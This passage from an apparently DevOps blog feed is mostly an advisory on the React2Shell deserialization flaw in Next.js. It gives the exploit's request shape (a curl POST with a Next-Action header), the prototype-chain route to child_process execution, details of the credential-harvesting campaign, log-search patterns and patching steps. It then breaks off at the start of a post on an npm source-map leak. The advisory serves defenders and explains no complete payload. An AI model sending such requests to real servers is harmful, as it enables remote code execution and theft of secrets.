          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>Detail</th>
<th>Info</th>
</tr>
</thead>
<tbody><tr>
<td>CVE</td>
<td>CVE-2025-55182</td>
</tr>
<tr>
<td>Nickname</td>
<td>React2Shell</td>
</tr>
<tr>
<td>CVSS Score</td>
<td>10.0 (Critical)</td>
</tr>
<tr>
<td>Vulnerability</td>
<td>Unsafe deserialization in React Server Components</td>
</tr>
<tr>
<td>Attack Vector</td>
<td>Single unauthenticated HTTP POST request</td>
</tr>
<tr>
<td>Affected</td>
<td>Next.js 13.3+ through 16.x with App Router</td>
</tr>
<tr>
<td>Hosts Breached</td>
<td>766 in 24 hours</td>
</tr>
<tr>
<td>Fix</td>
<td>Update to latest patched version + rotate all secrets</td>
</tr>
</tbody></table>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Security researcher Lachlan Davidson discovered the vulnerability on November 29, 2025 and reported it to the React team. The timeline from there was fast:</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody><tr>
<td>Nov 29, 2025</td>
<td>Vulnerability reported</td>
</tr>
<tr>
<td>Dec 3, 2025</td>
<td>Public disclosure and patch</td>
</tr>
<tr>
<td>Dec 4, 2025</td>
<td>PoC published, roughly 30 hours after the patch</td>
</tr>
<tr>
<td>Dec 4, 2025</td>
<td>Active exploitation begins immediately</td>
</tr>
<tr>
<td>Dec 3-11, 2025</td>
<td>Cloudflare blocks 582 million exploit attempts</td>
</tr>
<tr>
<td>Apr 2, 2026</td>
<td>Cisco Talos publishes research on the 766-host breach</td>
</tr>
</tbody></table>
<p>Darktrace deployed a honeypot after the PoC went live. It was attacked within two minutes.</p>
<h2 id="h2-how-the-exploit-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-exploit-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the Exploit Works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-exploit-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The vulnerability sits in React&#39;s Flight protocol, the serialization format that React Server Components use to communicate between client and server. When a server component receives data from the client, it runs it through a function called <code>decodeReply</code>. That function does not properly validate the types of objects it reconstructs.</p>
<p>An attacker can craft a payload that chains prototype lookups to reach JavaScript&#39;s <code>Function</code> constructor, which is effectively <code>eval()</code>. The attack requires one POST request:</p>
<pre><code class="hljs language-bash">curl -X POST https://your-app.com/ \
  -H <span class="hljs-string">&quot;Next-Action: foo&quot;</span> \
  -H <span class="hljs-string">&quot;Content-Type: multipart/form-data; boundary=----formdata&quot;</span> \
  --data-binary @payload.bin
</code></pre><p>The <code>Next-Action</code> header value does not matter. Even <code>foo</code> triggers the vulnerable code path.</p>
<h3 id="h3-the-prototype-chain" class="group relative scroll-mt-24">
        <a href="#h3-the-prototype-chain" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Prototype Chain
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-prototype-chain"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The exploit payload uses self-referencing objects to traverse the prototype chain:</p>
<pre><code class="hljs language-text">[] -&gt; Array -&gt; Array.constructor (Function) -&gt; Function.constructor (Function)
                                                         |
                                              Function(&#x27;malicious code&#x27;)
                                                         |
                                              require(&#x27;child_process&#x27;).execSync(&#x27;...&#x27;)
</code></pre><p>The simplified version:</p>
<ol>
<li>The payload includes an empty array <code>[]</code></li>
<li>A reference traverses <code>Array.constructor.constructor</code>, which resolves to the native <code>Function()</code> constructor</li>
<li>The payload forces Promise-like treatment during deserialization, which invokes <code>.then()</code> handlers</li>
<li>Those handlers execute attacker-controlled code through the Function constructor</li>
<li>The attacker loads <code>child_process</code> and runs arbitrary commands</li>
</ol>
<p>The whole payload is about 700-800 bytes. One request, no auth, full RCE.</p>
<p>The critical detail: <strong>your app is vulnerable even if you never wrote a Server Action</strong>. The App Router enables RSC by default, and the vulnerable <code>decodeReply</code> endpoint is reachable on any Next.js app using it.</p>
<h2 id="h2-the-766-host-breach" class="group relative scroll-mt-24">
        <a href="#h2-the-766-host-breach" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The 766-Host Breach
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-766-host-breach"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Cisco Talos tracked the largest exploitation campaign to a group called UAT-10608. They automated everything - scanning, exploitation, and credential harvesting.</p>
<h3 id="h3-what-they-stole" class="group relative scroll-mt-24">
        <a href="#h3-what-they-stole" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What They Stole
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-they-stole"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>From 766 compromised hosts:</p>
<ul>
<li><strong>91.5%</strong> leaked database credentials (connection strings with cleartext passwords)</li>
<li><strong>78.2%</strong> exposed private SSH keys</li>
<li>AWS access keys and secrets</li>
<li>Azure subscription credentials</li>
<li>Stripe live secret keys</li>
<li>GitHub and GitLab tokens</li>
<li>AI platform keys (OpenAI, Anthropic, NVIDIA NIM)</li>
<li>SendGrid and Brevo API keys</li>
<li>Kubernetes tokens</li>
<li>Shell command history</li>
</ul>
<p>The group runs a C2 interface called NEXUS Listener with a web GUI that shows precompiled stats on credentials harvested per host.</p>
<h3 id="h3-who-else-exploited-it" class="group relative scroll-mt-24">
        <a href="#h3-who-else-exploited-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Who Else Exploited It
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-who-else-exploited-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>UAT-10608 was not alone:</p>
<ul>
<li><strong>China-nexus groups</strong> (Earth Lamia, Jackpot Panda) started exploiting within hours of disclosure, per AWS threat intelligence</li>
<li><strong>Opportunistic attackers</strong> deployed Mirai botnet variants and XMRig crypto miners</li>
<li><strong>Targeted attacks</strong> hit government (.gov) sites, nuclear fuel authorities, and enterprise password managers according to Cloudflare</li>
</ul>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-check-your-version" class="group relative scroll-mt-24">
        <a href="#h3-check-your-version" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check Your Version
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-version"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Check Next.js version</span>
npx next --version

<span class="hljs-comment"># Or from package.json</span>
<span class="hljs-built_in">cat</span> package.json | grep <span class="hljs-string">&#x27;&quot;next&quot;&#x27;</span>
</code></pre><p>You are vulnerable if you run:</p>
<table>
<thead>
<tr>
<th>Branch</th>
<th>Vulnerable</th>
<th>Patched</th>
</tr>
</thead>
<tbody><tr>
<td>14.x</td>
<td>14.0.0 - 14.2.34</td>
<td>14.2.35</td>
</tr>
<tr>
<td>15.0.x</td>
<td>15.0.0 - 15.0.7</td>
<td>15.0.8</td>
</tr>
<tr>
<td>15.1.x</td>
<td>15.1.0 - 15.1.11</td>
<td>15.1.12</td>
</tr>
<tr>
<td>15.2.x</td>
<td>15.2.0 - 15.2.8</td>
<td>15.2.9</td>
</tr>
<tr>
<td>15.3.x</td>
<td>15.3.0 - 15.3.8</td>
<td>15.3.9</td>
</tr>
<tr>
<td>15.4.x</td>
<td>15.4.0 - 15.4.10</td>
<td>15.4.11</td>
</tr>
<tr>
<td>15.5.x</td>
<td>15.5.0 - 15.5.9</td>
<td>15.5.10</td>
</tr>
<tr>
<td>16.0.x</td>
<td>16.0.0 - 16.0.10</td>
<td>16.0.11</td>
</tr>
<tr>
<td>16.1.x</td>
<td>16.1.0 - 16.1.4</td>
<td>16.1.5</td>
</tr>
</tbody></table>
<p>Any Next.js version from 13.3 onward using the App Router is affected.</p>
<h3 id="h3-check-your-logs" class="group relative scroll-mt-24">
        <a href="#h3-check-your-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check Your Logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Search for exploitation attempts</span>
grep -i <span class="hljs-string">&quot;next-action&quot;</span> /var/log/nginx/access.log

<span class="hljs-comment"># Known scanner signatures</span>
grep -E <span class="hljs-string">&quot;Nuclei.*CVE-2025-55182|React2ShellScanner|python-requests/2.32&quot;</span> \
  /var/log/nginx/access.log
</code></pre><p>Look for:</p>
<ul>
<li>POST requests with <code>Next-Action</code> headers from unknown IPs</li>
<li>Outbound connections to ports 3000-3011</li>
<li>Unexpected function timeouts or process crashes since December 4, 2025</li>
</ul>
<h2 id="h2-what-to-do-right-now" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do-right-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Do Right Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do-right-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-patch" class="group relative scroll-mt-24">
        <a href="#h3-1-patch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Patch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-patch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Vercel&#x27;s automated tool (easiest)</span>
npx fix-react2shell-next

<span class="hljs-comment"># Or update manually</span>
npm install next@latest

<span class="hljs-comment"># Or update React core directly</span>
npm install react@latest react-dom@latest react-server-dom-webpack@latest
</code></pre><h3 id="h3-2-rotate-all-secrets" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-all-secrets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate All Secrets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-all-secrets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your app ran an unpatched version after December 4, 2025 - even for a few hours - assume your environment variables were exfiltrated. Rotate everything:</p>
<ul>
<li><input disabled="" type="checkbox"> Database credentials</li>
<li><input disabled="" type="checkbox"> SSH keys (regenerate, do not just change the passphrase)</li>
<li><input disabled="" type="checkbox"> AWS access keys and secrets</li>
<li><input disabled="" type="checkbox"> Azure and GCP service account credentials</li>
<li><input disabled="" type="checkbox"> Stripe API keys</li>
<li><input disabled="" type="checkbox"> GitHub and GitLab tokens</li>
<li><input disabled="" type="checkbox"> Third-party API keys (OpenAI, SendGrid, Twilio, etc.)</li>
<li><input disabled="" type="checkbox"> JWT signing secrets</li>
<li><input disabled="" type="checkbox"> Session secrets and encryption keys</li>
<li><input disabled="" type="checkbox"> Any other value in your <code>.env</code></li>
</ul>
<p>This is not optional. The attackers&#39; automated scripts harvested everything they could find.</p>
<h3 id="h3-3-harden-your-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-3-harden-your-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Harden Your Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-harden-your-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Enforce IMDSv2 on AWS EC2 (blocks SSRF credential theft)</span>
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled
</code></pre><p>Other steps:</p>
<ul>
<li>Enable secret scanning in GitHub/GitLab</li>
<li>Stop reusing SSH keys across environments</li>
<li>Use short-lived credentials where possible (AWS STS, GCP workload identity)</li>
<li>Enforce least privilege on all service accounts</li>
<li>Monitor for lateral movement from compromised credentials</li>
</ul>
<h3 id="h3-4-waf-rules" class="group relative scroll-mt-24">
        <a href="#h3-4-waf-rules" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. WAF Rules
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-waf-rules"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare deployed WAF rules on both paid and free tiers that block known exploit patterns. But their own advisory says WAF rules &quot;cannot guarantee protection against all possible variants.&quot; Patching is the only real fix.</p>
<h2 id="h2-related-vulnerabilities" class="group relative scroll-mt-24">
        <a href="#h2-related-vulnerabilities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Related Vulnerabilities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-related-vulnerabilities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>React2Shell was not the only Next.js issue discovered recently:</p>
<table>
<thead>
<tr>
<th>CVE</th>
<th>CVSS</th>
<th>What It Does</th>
</tr>
</thead>
<tbody><tr>
<td>CVE-2025-29927</td>
<td>9.1</td>
<td>Middleware auth bypass via header spoofing</td>
</tr>
<tr>
<td>CVE-2025-55183</td>
<td>5.3</td>
<td>Server Function source code exposure</td>
</tr>
<tr>
<td>CVE-2025-55184</td>
<td>7.5</td>
<td>DoS via cyclical Promise references</td>
</tr>
<tr>
<td>CVE-2025-67779</td>
<td>7.5</td>
<td>DoS, incomplete fix for CVE-2025-55184</td>
</tr>
<tr>
<td>CVE-2026-23864</td>
<td>7.5</td>
<td>Denial of Service in RSC</td>
</tr>
</tbody></table>
<p>If you are patching for React2Shell, update to the latest version in your branch. It covers all of these.</p>
<h2 id="h2-why-this-matters-for-devops-teams" class="group relative scroll-mt-24">
        <a href="#h2-why-this-matters-for-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why This Matters for DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-this-matters-for-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Three things stand out:</p>
<p><strong>The patch-to-exploit window is shrinking.</strong> Thirty hours from patch to weaponized PoC. Two minutes from deploying a honeypot to receiving attacks. If your patching process takes days or weeks, you are operating on borrowed time.</p>
<p><strong>Default configurations can kill you.</strong> A standard <code>create-next-app</code> project is vulnerable without the developer writing any server function code. The vulnerable endpoint exists just because the App Router is enabled. Millions of Next.js apps were exposed by default.</p>
<p><strong>Secrets in environment variables are a single point of failure.</strong> When 91.5% of breached hosts leaked database credentials, that tells you most teams store everything in env vars with no additional layer of protection. Consider secrets managers, short-lived credentials, and the principle of least privilege for service accounts.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Check your Next.js version right now.</strong> If you are on anything before the patched versions listed above, update immediately.</li>
<li><strong>Rotate every secret</strong> if you were unpatched after December 4, 2025.</li>
<li><strong>Check your logs</strong> for <code>Next-Action</code> header exploitation attempts.</li>
<li><strong>Enforce IMDSv2</strong> on AWS instances to prevent SSRF credential theft.</li>
<li><strong>Stop reusing SSH keys</strong> across environments.</li>
<li><strong>Update your patching SLAs.</strong> A 30-hour exploit window means &quot;patch within a week&quot; is no longer good enough for critical CVEs.</li>
</ol>
<p>The 766 hosts breached by UAT-10608 are the ones we know about. The real number is almost certainly higher.</p>
<p><em>Sources: <a href="https://blog.talosintelligence.com/uat-10608-inside-a-large-scale-automated-credential-harvesting-operation-targeting-web-applications/">Cisco Talos</a>, <a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">React Security Bulletin</a>, <a href="https://vercel.com/kb/bulletin/react2shell">Vercel</a>, <a href="https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive">Wiz</a>, <a href="https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/">Cloudflare</a>, <a href="https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/">AWS</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Claude Code Source Leaked via npm Source Maps: Lessons for Every DevOps Team]]></title>
      <link>https://devops-daily.com/posts/claude-code-source-leak-what-devops-engineers-should-learn</link>
      <description><![CDATA[Anthropic accidentally shipped source maps in their npm package, exposing 512,000 lines of Claude Code source. Here is what went wrong and how to prevent it in your own CI/CD pipeline.]]></description>
      <pubDate>Wed, 01 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/claude-code-source-leak-what-devops-engineers-should-learn</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[security]]></category><category><![CDATA[npm]]></category><category><![CDATA[cicd]]></category><category><![CDATA[devops]]></category><category><![CDATA[source-maps]]></category>
      <content:encoded><![CDATA[<p>On March 31, 2026, a security researcher discovered that Anthropic&#39;s Claude Code CLI tool had its entire source code exposed through a source map file published to the npm registry. Version 2.1.88 of <code>@anthropic-ai/claude-code</code> shipped with a 59.8 MB source map that mapped the minified production code back to the original TypeScript, which pointed to a publicly accessible zip archive on Anthropic&#39;s Cloudflare R2 bucket.</p>
<p>Within hours, the codebase was archived to a <a href="https://github.com/Kuberwastaken/claude-code">public GitHub repository</a> that quickly gained over 1,100 stars.</p>
<p>This is not a story about Anthropic doing something uniquely bad. This is a story about a packaging mistake that any team shipping npm packages could make, and probably already has.</p>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Happened
        </a>
        <button 
